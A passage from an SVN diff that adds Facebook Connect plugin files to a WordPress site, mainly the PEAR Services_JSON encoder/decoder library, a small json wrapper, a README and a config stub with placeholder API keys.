+THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/jsonwrapper.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/jsonwrapper.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/jsonwrapper.php	(revision 44)
@@ -0,0 +1,6 @@
+<?php
+# In PHP 5.2 or higher we don't need to bring this in
+if (!function_exists('json_encode')) {
+	require_once 'jsonwrapper_inner.php';
+} 
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/jsonwrapper_inner.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/jsonwrapper_inner.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/jsonwrapper/jsonwrapper_inner.php	(revision 44)
@@ -0,0 +1,23 @@
+<?php
+
+require_once 'JSON/JSON.php';
+
+function json_encode($arg)
+{
+	global $services_json;
+	if (!isset($services_json)) {
+		$services_json = new Services_JSON();
+	}
+	return $services_json->encode($arg);
+}
+
+function json_decode($arg)
+{
+	global $services_json;
+	if (!isset($services_json)) {
+		$services_json = new Services_JSON();
+	}
+	return $services_json->decode($arg);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/README.txt	(revision 44)
@@ -0,0 +1,3 @@
+I put what I've changed near the top of facebookapi_php4_restlib.php
+
+Kev
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/appinclude.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/appinclude.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/appinclude.php	(revision 44)
@@ -0,0 +1,16 @@
+<?
+require_once 'facebook.php';
+
+$appapikey = 'YOURAPIKEY';
+$appsecret = 'YOURSECRETKEY';
+$facebook = new Facebook($appapikey, $appsecret);
+$user = $facebook->require_login();
+
+//[todo: change the following url to your callback url]
+$appcallbackurl = 'CALLBACKURL';
+
+//can't catch exception with php4, so just check if user has added the application
+if (!$facebook->api_client->users_isAppAdded()) {
+    $facebook->redirect($facebook->get_add_url());
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/classes/JSON.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/classes/JSON.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/classes/JSON.php	(revision 44)
@@ -0,0 +1,808 @@
+<?php
+/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
+
+/**
+ * Converts to and from JSON format.
+ *
+ * JSON (JavaScript Object Notation) is a lightweight data-interchange
+ * format. It is easy for humans to read and write. It is easy for machines
+ * to parse and generate. It is based on a subset of the JavaScript
+ * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
+ * This feature can also be found in  Python. JSON is a text format that is
+ * completely language independent but uses conventions that are familiar
+ * to programmers of the C-family of languages, including C, C++, C#, Java,
+ * JavaScript, Perl, TCL, and many others. These properties make JSON an
+ * ideal data-interchange language.
+ *
+ * This package provides a simple encoder and decoder for JSON notation. It
+ * is intended for use with client-side Javascript applications that make
+ * use of HTTPRequest to perform server communication functions - data can
+ * be encoded into JSON notation for use in a client-side javascript, or
+ * decoded from incoming Javascript requests. JSON format is native to
+ * Javascript, and can be directly eval()'ed with no further parsing
+ * overhead
+ *
+ * All strings should be in ASCII or UTF-8 format!
+ *
+ * LICENSE: Redistribution and use in source and binary forms, with or
+ * without modification, are permitted provided that the following
+ * conditions are met: Redistributions of source code must retain the
+ * above copyright notice, this list of conditions and the following
+ * disclaimer. Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+ * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
+ * DAMAGE.
+ *
+ * @category
+ * @package     Services_JSON
+ * @author      Michal Migurski <mike-json@teczno.com>
+ * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
+ * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
+ * @copyright   2005 Michal Migurski
+ * @version     CVS: $Id: JSON.php,v 1.31 2006/06/28 05:54:17 migurski Exp $
+ * @license     http://www.opensource.org/licenses/bsd-license.php
+ * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
+ */
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_SLICE',   1);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_STR',  2);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_ARR',  3);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_OBJ',  4);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_CMT', 5);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_LOOSE_TYPE', 16);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
+
+/**
+ * Converts to and from JSON format.
+ *
+ * Brief example of use:
+ *
+ * <code>
+ * // create a new instance of Services_JSON
+ * $json = new Services_JSON();
+ *
+ * // convert a complexe value to JSON notation, and send it to the browser
+ * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
+ * $output = $json->encode($value);
+ *
+ * print($output);
+ * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
+ *
+ * // accept incoming POST data, assumed to be in JSON notation
+ * $input = file_get_contents('php://input', 1000000);
+ * $value = $json->decode($input);
+ * </code>
+ */
+if  (!class_exists('Services_JSON')):
+class Services_JSON
+{
+   /**
+    * constructs a new JSON instance
+    *
+    * @param    int     $use    object behavior flags; combine with boolean-OR
+    *
+    *                           possible values:
+    *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
+    *                                   "{...}" syntax creates associative arrays
+    *                                   instead of objects in decode().
+    *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
+    *                                   Values which can't be encoded (e.g. resources)
+    *                                   appear as NULL instead of throwing errors.
+    *                                   By default, a deeply-nested resource will
+    *                                   bubble up with an error, so all return values
+    *                                   from encode() should be checked with isError()
+    */
+    function Services_JSON($use = 0)
+    {
+        $this->use = $use;
+    }
+
+   /**
+    * convert a string from one UTF-16 char to one UTF-8 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf16  UTF-16 character
+    * @return   string  UTF-8 character
+    * @access   private
+    */
+    function utf162utf8($utf16)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
+        }
+
+        $bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
+
+        switch(true) {
+            case ((0x7F & $bytes) == $bytes):
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x7F & $bytes);
+
+            case (0x07FF & $bytes) == $bytes:
+                // return a 2-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xC0 | (($bytes >> 6) & 0x1F))
+                     . chr(0x80 | ($bytes & 0x3F));
+
+            case (0xFFFF & $bytes) == $bytes:
+                // return a 3-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xE0 | (($bytes >> 12) & 0x0F))
+                     . chr(0x80 | (($bytes >> 6) & 0x3F))
+                     . chr(0x80 | ($bytes & 0x3F));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * convert a string from one UTF-8 char to one UTF-16 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf8   UTF-8 character
+    * @return   string  UTF-16 character
+    * @access   private
+    */
+    function utf82utf16($utf8)
+    {
+        // oh please oh please oh please oh please oh please
+        if(function_exists('mb_convert_encoding')) {
+            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+        }
+
+        switch(strlen($utf8)) {
+            case 1:
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return $utf8;
+
+            case 2:
+                // return a UTF-16 character from a 2-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x07 & (ord($utf8{0}) >> 2))
+                     . chr((0xC0 & (ord($utf8{0}) << 6))
+                         | (0x3F & ord($utf8{1})));
+
+            case 3:
+                // return a UTF-16 character from a 3-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr((0xF0 & (ord($utf8{0}) << 4))
+                         | (0x0F & (ord($utf8{1}) >> 2)))
+                     . chr((0xC0 & (ord($utf8{1}) << 6))
+                         | (0x7F & ord($utf8{2})));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * encodes an arbitrary variable into JSON format
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encode($var)
+    {
+        switch (gettype($var)) {
+            case 'boolean':
+                return $var ? 'true' : 'false';
+
+            case 'NULL':
+                return 'null';
+
+            case 'integer':
+                return (int) $var;
+
+            case 'double':
+            case 'float':
+                return (float) $var;
+
+            case 'string':
+                // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
+                $ascii = '';
+                $strlen_var = strlen($var);
+
+               /*
+                * Iterate over every character in the string,
+                * escaping with a slash or encoding to UTF-8 where necessary
+                */
+                for ($c = 0; $c < $strlen_var; ++$c) {
+
+                    $ord_var_c = ord($var{$c});
+
+                    switch (true) {
+                        case $ord_var_c == 0x08:
+                            $ascii .= '\b';
+                            break;
+                        case $ord_var_c == 0x09:
+                            $ascii .= '\t';
+                            break;
+                        case $ord_var_c == 0x0A:
+                            $ascii .= '\n';
+                            break;
+                        case $ord_var_c == 0x0C:
+                            $ascii .= '\f';
+                            break;
+                        case $ord_var_c == 0x0D:
+                            $ascii .= '\r';
+                            break;
+
+                        case $ord_var_c == 0x22:
+                        case $ord_var_c == 0x2F:
+                        case $ord_var_c == 0x5C:
+                            // double quote, slash, slosh
+                            $ascii .= '\\'.$var{$c};
+                            break;
+
+                        case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
+                            // characters U-00000000 - U-0000007F (same as ASCII)
+                            $ascii .= $var{$c};
+                            break;
+
+                        case (($ord_var_c & 0xE0) == 0xC0):
+                            // characters U-00000080 - U-000007FF, mask 110XXXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c, ord($var{$c + 1}));
+                            $c += 1;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF0) == 0xE0):
+                            // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}));
+                            $c += 2;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF8) == 0xF0):
+                            // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}));
+                            $c += 3;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFC) == 0xF8):
+                            // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}));
+                            $c += 4;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFE) == 0xFC):
+                            // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}),
+                                         ord($var{$c + 5}));
+                            $c += 5;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+                    }
+                }
+
+                return '"'.$ascii.'"';
+
+            case 'array':
+               /*
+                * As per JSON spec if any array key is not an integer
+                * we must treat the the whole array as an object. We
+                * also try to catch a sparsely populated associative
+                * array with numeric keys here because some JS engines
+                * will create an array with empty indexes up to
+                * max_index which can cause memory issues and because
+                * the keys, which may be relevant, will be remapped
+                * otherwise.
+                *
+                * As per the ECMA and JSON specification an object may
+                * have any string as a property. Unfortunately due to
+                * a hole in the ECMA specification if the key is a
+                * ECMA reserved word or starts with a digit the
+                * parameter is only accessible using ECMAScript's
+                * bracket notation.
+                */
+
+                // treat as a JSON object
+                if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
+                    $properties = array_map(array($this, 'name_value'),
+                                            array_keys($var),
+                                            array_values($var));
+
+                    foreach($properties as $property) {
+                        if(Services_JSON::isError($property)) {
+                            return $property;
+                        }
+                    }
+
+                    return '{' . join(',', $properties) . '}';
+                }
+
+                // treat it like a regular array
+                $elements = array_map(array($this, 'encode'), $var);
+
+                foreach($elements as $element) {
+                    if(Services_JSON::isError($element)) {
+                        return $element;
+                    }
+                }
+
+                return '[' . join(',', $elements) . ']';
+
+            case 'object':
+                $vars = get_object_vars($var);
+
+                $properties = array_map(array($this, 'name_value'),
+                                        array_keys($vars),
+                                        array_values($vars));
+
+                foreach($properties as $property) {
+                    if(Services_JSON::isError($property)) {
+                        return $property;
+                    }
+                }
+
+                return '{' . join(',', $properties) . '}';
+
+            default:
+                return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                    ? 'null'
+                    : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
+        }
+    }
+
+   /**
+    * array-walking function for use in generating JSON-formatted name-value pairs
+    *
+    * @param    string  $name   name of key to use
+    * @param    mixed   $value  reference to an array element to be encoded
+    *
+    * @return   string  JSON-formatted name-value pair, like '"name":value'
+    * @access   private
+    */
+    function name_value($name, $value)
+    {
+        $encoded_value = $this->encode($value);
+
+        if(Services_JSON::isError($encoded_value)) {
+            return $encoded_value;
+        }
+
+        return $this->encode(strval($name)) . ':' . $encoded_value;
+    }
+
+   /**
+    * reduce a string by removing leading and trailing comments and whitespace
+    *
+    * @param    $str    string      string value to strip of comments and whitespace
+    *
+    * @return   string  string value stripped of comments and whitespace
+    * @access   private
+    */
+    function reduce_string($str)
+    {
+        $str = preg_replace(array(
+
+                // eliminate single line comments in '// ...' form
+                '#^\s*//(.+)$#m',
+
+                // eliminate multi-line comments in '/* ... */' form, at start of string
+                '#^\s*/\*(.+)\*/#Us',
+
+                // eliminate multi-line comments in '/* ... */' form, at end of string
+                '#/\*(.+)\*/\s*$#Us'
+
+            ), '', $str);
+
+        // eliminate extraneous space
+        return trim($str);
+    }
+
+   /**
+    * decodes a JSON string into appropriate variable
+    *
+    * @param    string  $str    JSON-formatted string
+    *
+    * @return   mixed   number, boolean, string, array, or object
+    *                   corresponding to given JSON input string.
+    *                   See argument 1 to Services_JSON() above for object-output behavior.
+    *                   Note that decode() always returns strings
+    *                   in ASCII or UTF-8 format!
+    * @access   public
+    */
+    function decode($str)
+    {
+        $str = $this->reduce_string($str);
+
+        switch (strtolower($str)) {
+            case 'true':
+                return true;
+
+            case 'false':
+                return false;
+
+            case 'null':
+                return null;
+
+            default:
+                $m = array();
+
+                if (is_numeric($str)) {
+                    // Lookie-loo, it's a number
+
+                    // This would work on its own, but I'm trying to be
+                    // good about returning integers where appropriate:
+                    // return (float)$str;
+
+                    // Return float or int, as appropriate
+                    return ((float)$str == (integer)$str)
+                        ? (integer)$str
+                        : (float)$str;
+
+                } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
+                    // STRINGS RETURNED IN UTF-8 FORMAT
+                    $delim = substr($str, 0, 1);
+                    $chrs = substr($str, 1, -1);
+                    $utf8 = '';
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c < $strlen_chrs; ++$c) {
+
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+                        $ord_chrs_c = ord($chrs{$c});
+
+                        switch (true) {
+                            case $substr_chrs_c_2 == '\b':
+                                $utf8 .= chr(0x08);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\t':
+                                $utf8 .= chr(0x09);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\n':
+                                $utf8 .= chr(0x0A);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\f':
+                                $utf8 .= chr(0x0C);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\r':
+                                $utf8 .= chr(0x0D);
+                                ++$c;
+                                break;
+
+                            case $substr_chrs_c_2 == '\\"':
+                            case $substr_chrs_c_2 == '\\\'':
+                            case $substr_chrs_c_2 == '\\\\':
+                            case $substr_chrs_c_2 == '\\/':
+                                if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
+                                   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
+                                    $utf8 .= $chrs{++$c};
+                                }
+                                break;
+
+                            case preg_match('/\\\u[0-9A-F]{4}/i', substr($chrs, $c, 6)):
+                                // single, escaped unicode character
+                                $utf16 = chr(hexdec(substr($chrs, ($c + 2), 2)))
+                                       . chr(hexdec(substr($chrs, ($c + 4), 2)));
+                                $utf8 .= $this->utf162utf8($utf16);
+                                $c += 5;
+                                break;
+
+                            case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
+                                $utf8 .= $chrs{$c};
+                                break;
+
+                            case ($ord_chrs_c & 0xE0) == 0xC0:
+                                // characters U-00000080 - U-000007FF, mask 110XXXXX
+                                //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 2);
+                                ++$c;
+                                break;
+
+                            case ($ord_chrs_c & 0xF0) == 0xE0:
+                                // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 3);
+                                $c += 2;
+                                break;
+
+                            case ($ord_chrs_c & 0xF8) == 0xF0:
+                                // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 4);
+                                $c += 3;
+                                break;
+
+                            case ($ord_chrs_c & 0xFC) == 0xF8:
+                                // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 5);
+                                $c += 4;
+                                break;
+
+                            case ($ord_chrs_c & 0xFE) == 0xFC:
+                                // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= substr($chrs, $c, 6);
+                                $c += 5;
+                                break;
+
+                        }
+
+                    }
+
+                    return $utf8;
+
+                } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) {
+                    // array, or object notation
+
+                    if ($str{0} == '[') {
+                        $stk = array(SERVICES_JSON_IN_ARR);
+                        $arr = array();
+                    } else {
+                        if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = array();
+                        } else {
+                            $stk = array(SERVICES_JSON_IN_OBJ);
+                            $obj = new stdClass();
+                        }
+                    }
+
+                    array_push($stk, array('what'  => SERVICES_JSON_SLICE,
+                                           'where' => 0,
+                                           'delim' => false));
+
+                    $chrs = substr($str, 1, -1);
+                    $chrs = $this->reduce_string($chrs);
+
+                    if ($chrs == '') {
+                        if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                            return $arr;
+
+                        } else {
+                            return $obj;
+
+                        }
+                    }
+
+                    //print("\nparsing {$chrs}\n");
+
+                    $strlen_chrs = strlen($chrs);
+
+                    for ($c = 0; $c <= $strlen_chrs; ++$c) {
+
+                        $top = end($stk);
+                        $substr_chrs_c_2 = substr($chrs, $c, 2);
+
+                        if (($c == $strlen_chrs) || (($chrs{$c} == ',') && ($top['what'] == SERVICES_JSON_SLICE))) {
+                            // found a comma that is not inside a string, array, etc.,
+                            // OR we've reached the end of the character list
+                            $slice = substr($chrs, $top['where'], ($c - $top['where']));
+                            array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false));
+                            //print("Found split at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                            if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                                // we are in an array, so just push an element onto the stack
+                                array_push($arr, $this->decode($slice));
+
+                            } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                                // we are in an object, so figure
+                                // out the property name and set an
+                                // element in an associative array,
+                                // for now
+                                $parts = array();
+                                
+                                if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // "name":value pair
+                                    $key = $this->decode($parts[1]);
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                } elseif (preg_match('/^\s*(\w+)\s*:\s*(\S.*),?$/Uis', $slice, $parts)) {
+                                    // name:value pair, where name is unquoted
+                                    $key = $parts[1];
+                                    $val = $this->decode($parts[2]);
+
+                                    if ($this->use & SERVICES_JSON_LOOSE_TYPE) {
+                                        $obj[$key] = $val;
+                                    } else {
+                                        $obj->$key = $val;
+                                    }
+                                }
+
+                            }
+
+                        } elseif ((($chrs{$c} == '"') || ($chrs{$c} == "'")) && ($top['what'] != SERVICES_JSON_IN_STR)) {
+                            // found a quote, and we are not inside a string
+                            array_push($stk, array('what' => SERVICES_JSON_IN_STR, 'where' => $c, 'delim' => $chrs{$c}));
+                            //print("Found start of string at {$c}\n");
+
+                        } elseif (($chrs{$c} == $top['delim']) &&
+                                 ($top['what'] == SERVICES_JSON_IN_STR) &&
+                                 ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) {
+                            // found a quote, we're in a string, and it's not escaped
+                            // we know that it's not escaped becase there is _not_ an
+                            // odd number of backslashes at the end of the string so far
+                            array_pop($stk);
+                            //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '[') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-bracket, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false));
+                            //print("Found start of array at {$c}\n");
+
+                        } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) {
+                            // found a right-bracket, and we're in an array
+                            array_pop($stk);
+                            //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($chrs{$c} == '{') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a left-brace, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false));
+                            //print("Found start of object at {$c}\n");
+
+                        } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) {
+                            // found a right-brace, and we're in an object
+                            array_pop($stk);
+                            //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        } elseif (($substr_chrs_c_2 == '/*') &&
+                                 in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) {
+                            // found a comment start, and we are in an array, object, or slice
+                            array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false));
+                            $c++;
+                            //print("Found start of comment at {$c}\n");
+
+                        } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) {
+                            // found a comment end, and we're in one now
+                            array_pop($stk);
+                            $c++;
+
+                            for ($i = $top['where']; $i <= $c; ++$i)
+                                $chrs = substr_replace($chrs, ' ', $i, 1);
+
+                            //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n");
+
+                        }
+
+                    }
+
+                    if (reset($stk) == SERVICES_JSON_IN_ARR) {
+                        return $arr;
+
+                    } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) {
+                        return $obj;
+
+                    }
+
+                }
+        }
+    }
+
+    /**
+     * @todo Ultimately, this should just call PEAR::isError()
+     */
+    function isError($data, $code = null)
+    {
+        if (class_exists('pear')) {
+            return PEAR::isError($data, $code);
+        } elseif (is_object($data) && (get_class($data) == 'services_json_error' ||
+                                 is_subclass_of($data, 'services_json_error'))) {
+            return true;
+        }
+
+        return false;
+    }
+}
+
+if (class_exists('PEAR_Error')) {
+
+    class Services_JSON_Error extends PEAR_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+            parent::PEAR_Error($message, $code, $mode, $options, $userinfo);
+        }
+    }
+
+} else {
+
+    /**
+     * @todo Ultimately, this class shall be descended from PEAR_Error
+     */
+    class Services_JSON_Error
+    {
+        function Services_JSON_Error($message = 'unknown error', $code = null,
+                                     $mode = null, $options = null, $userinfo = null)
+        {
+
+        }
+    }
+
+}
+endif;
+    
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/facebook.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/facebook.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client4/facebook.php	(revision 44)
@@ -0,0 +1,261 @@
+<?php
+//
+// +---------------------------------------------------------------------------+
+// | Facebook Platform PHP4 client                                 |
+// +---------------------------------------------------------------------------+
+// | Copyright (c) 2007 Facebook, Inc.                                         | 
+// | All rights reserved.                                                      |
+// |                                                                           |
+// | Redistribution and use in source and binary forms, with or without        |
+// | modification, are permitted provided that the following conditions        |
+// | are met:                                                                  |
+// |                                                                           |
+// | 1. Redistributions of source code must retain the above copyright         |
+// |    notice, this list of conditions and the following disclaimer.          |
+// | 2. Redistributions in binary form must reproduce the above copyright      |
+// |    notice, this list of conditions and the following disclaimer in the    |
+// |    documentation and/or other materials provided with the distribution.   |
+// |                                                                           |
+// | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      |
